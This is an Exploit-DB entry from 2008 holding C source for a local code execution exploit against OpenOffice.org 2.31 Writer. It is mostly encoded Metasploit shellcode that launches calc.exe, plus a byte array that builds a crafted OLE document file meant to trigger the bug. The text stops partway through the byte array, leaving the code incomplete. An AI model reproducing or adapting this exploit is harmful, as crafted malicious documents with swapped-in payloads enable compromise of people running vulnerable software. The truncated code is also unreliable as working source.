Exploit-DB #5584
Description: Open Office.org 2.31 - swriter Local Code Execution
Type: local
Platform: windows
Date: 2008-05-10
Author: Marsu

Exploit:
/* 
     Open Office.org 2.31 swriter local code execution exploit.
     This bug has been patched in OOo 2.4.
     Spawns calc.exe if successful.
     
     Marsupilamipowa@hotmail.fr
*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

/* win32_exec -  EXITFUNC=process CMD=calc.exe Size=164 Encoder=PexFnstenvSub http://metasploit.com */
unsigned char calc[] =
"\x33\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xcc"
"\x35\x6a\xc8\x83\xeb\xfc\xe2\xf4\x30\xdd\x2e\xc8\xcc\x35\xe1\x8d"
"\xf0\xbe\x16\xcd\xb4\x34\x85\x43\x83\x2d\xe1\x97\xec\x34\x81\x81"
"\x47\x01\xe1\xc9\x22\x04\xaa\x51\x60\xb1\xaa\xbc\xcb\xf4\xa0\xc5"
"\xcd\xf7\x81\x3c\xf7\x61\x4e\xcc\xb9\xd0\xe1\x97\xe8\x34\x81\xae"
"\x47\x39\x21\x43\x93\x29\x6b\x23\x47\x29\xe1\xc9\x27\xbc\x36\xec"
"\xc8\xf6\x5b\x08\xa8\xbe\x2a\xf8\x49\xf5\x12\xc4\x47\x75\x66\x43"
"\xbc\x29\xc7\x43\xa4\x3d\x81\xc1\x47\xb5\xda\xc8\xcc\x35\xe1\xa0"
"\xf0\x6a\x5b\x3e\xac\x63\xe3\x30\x4f\xf5\x11\x98\xa4\x4b\xb2\x2a"
"\xbf\x5d\xf2\x36\x46\x3b\x3d\x37\x2b\x56\x0b\xa4\xaf\x1b\x0f\xb0"
"\xa9\x35\x6a\xc8";

char file_part0[]=
"\xd0\xcf\x11\xe0\xa1\xb1\x1a\xe1\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x3e\x00\x03\x00\xfe\xff\x09\x00"
"\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00"
"\xcc\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\xce\x00\x00\x00"
"\x01\x00\x00\x00\xfe\xff\xff\xff\x00\x00\x00\x00\xdc\x00\x00\x00"
"\xcd\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\x32\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xec\xa5\xc1\x00\x35\x40\x09\x04\x00\x00\xf0\x12\xbf\x00\x00\x00"
"\x00\x00\x00\x30\x00\x00\x00\x00\x00\x06\x00\x00\x1a\x7c\x00\x00"
"\x0e\x00\x62\x6a\x62\x6a\xcf\x32\xcf\x32\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0c\x04\x16\x00"
"\x29\x02\x01\x00\xad\x58\x00\x00\xad\x58\x00\x00\xdf\x73\x00\x00"
"\x00\x00\x00\x00\x3a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x0f\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x0f\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\xff\xff\x0f\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x88\x00\x00\x00\x42\x00\x08\x03"
"\x00\x00\x00\x00\x00\x00\x08\x03\x00\x00\x08\x03\x00\x00\x00\x00"
"\x00\x00\x08\x03\x00\x00\x00\x00\x00\x00\x08\x03\x00\x00\x00\x00"
"\x00\x00\x08\x03\x00\x00\x00\x00\x00\x00\x08\x03\x00\x00\x14\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1c\x03\x00\x00\x00\x00"
"\x00\x00\x04\x56\x00\x00\x00\x00\x00\x00\x04\x56\x00\x00\x00\x00"
"\x00\x00\x04\x56\x00\x00\x38\x00\x00\x00\x3c\x56\x00\x00\x34\x00"
"\x00\x00\x70\x56\x00\x00\xdc\x01\x00\x00\x1c\x03\x00\x00\x00\x00"
"\x00\x00\xcb\x6b\x00\x00\xf2\x00\x00\x00\x58\x58\x00\x00\x00\x00"
"\x00\x00\x58\x58\x00\x00\x16\x00\x00\x00\x6e\x58\x00\x00\x00\x00"
"\x00\x00\x6e\x58\x00\x00\x00\x00\x00\x00\x6e\x58\x00\x00\x00\x00"
"\x00\x00\x6e\x58\x00\x00\x00\x00\x00\x00\x6e\x58\x00\x00\x00\x00"
"\x00\x00\x6e\x58\x00\x00\x00\x00\x00\x00\x4a\x6b\x00\x00\x02\x00"
"\x00\x00\x4c\x6b\x00\x00\x00\x00\x00\x00\x4c\x6b\x00\x00\x00\x00"
"\x00\x00\x4c\x6b\x00\x00\x00\x00\x00\x00\x4c\x6b\x00\x00\x00\x00"
"\x00\x00\x4c\x6b\x00\x00\x00\x00\x00\x00\x4c\x6b\x00\x00\x24\x00"
"\x00\x00\xbd\x6c\x00\x00\x52\x02\x00\x00\x0f\x6f\x00\x00\x6e\x00"
"\x00\x00\x70\x6b\x00\x00\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x03\x00\x00\x00\x00"
"\x00\x00\x00\x5e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x6e\x58\x00\x00\x00\x00"
"\x00\x00\x6e\x58\x00\x00\x00\x00\x00\x00\x00\x5e\x00\x00\x00\x00"
"\x00\x00\x00\x5e\x00\x00\x00\x00\x00\x00\x70\x6b\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x03\x00\x00\x00\x00"
"\x00\x00\x08\x03\x00\x00\x00\x00\x00\x00\x6e\x58\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x6e\x58\x00\x00\x00\x00"
"\x00\x00\x85\x6b\x00\x00\x16\x00\x00\x00\x82\x61\x00\x00\x00\x00"
"\x00\x00\x82\x61\x00\x00\x00\x00\x00\x00\x82\x61\x00\x00\x00\x00"
"\x00\x00\x00\x5e\x00\x00\xea\x01\x00\x00\x08\x03\x00\x00\x00\x00"
"\x00\x00\x6e\x58\x00\x00\x00\x00\x00\x00\x08\x03\x00\x00\x00\x00"
"\x00\x00\x6e\x58\x00\x00\x00\x00\x00\x00\x4a\x6b\x00\x00\x0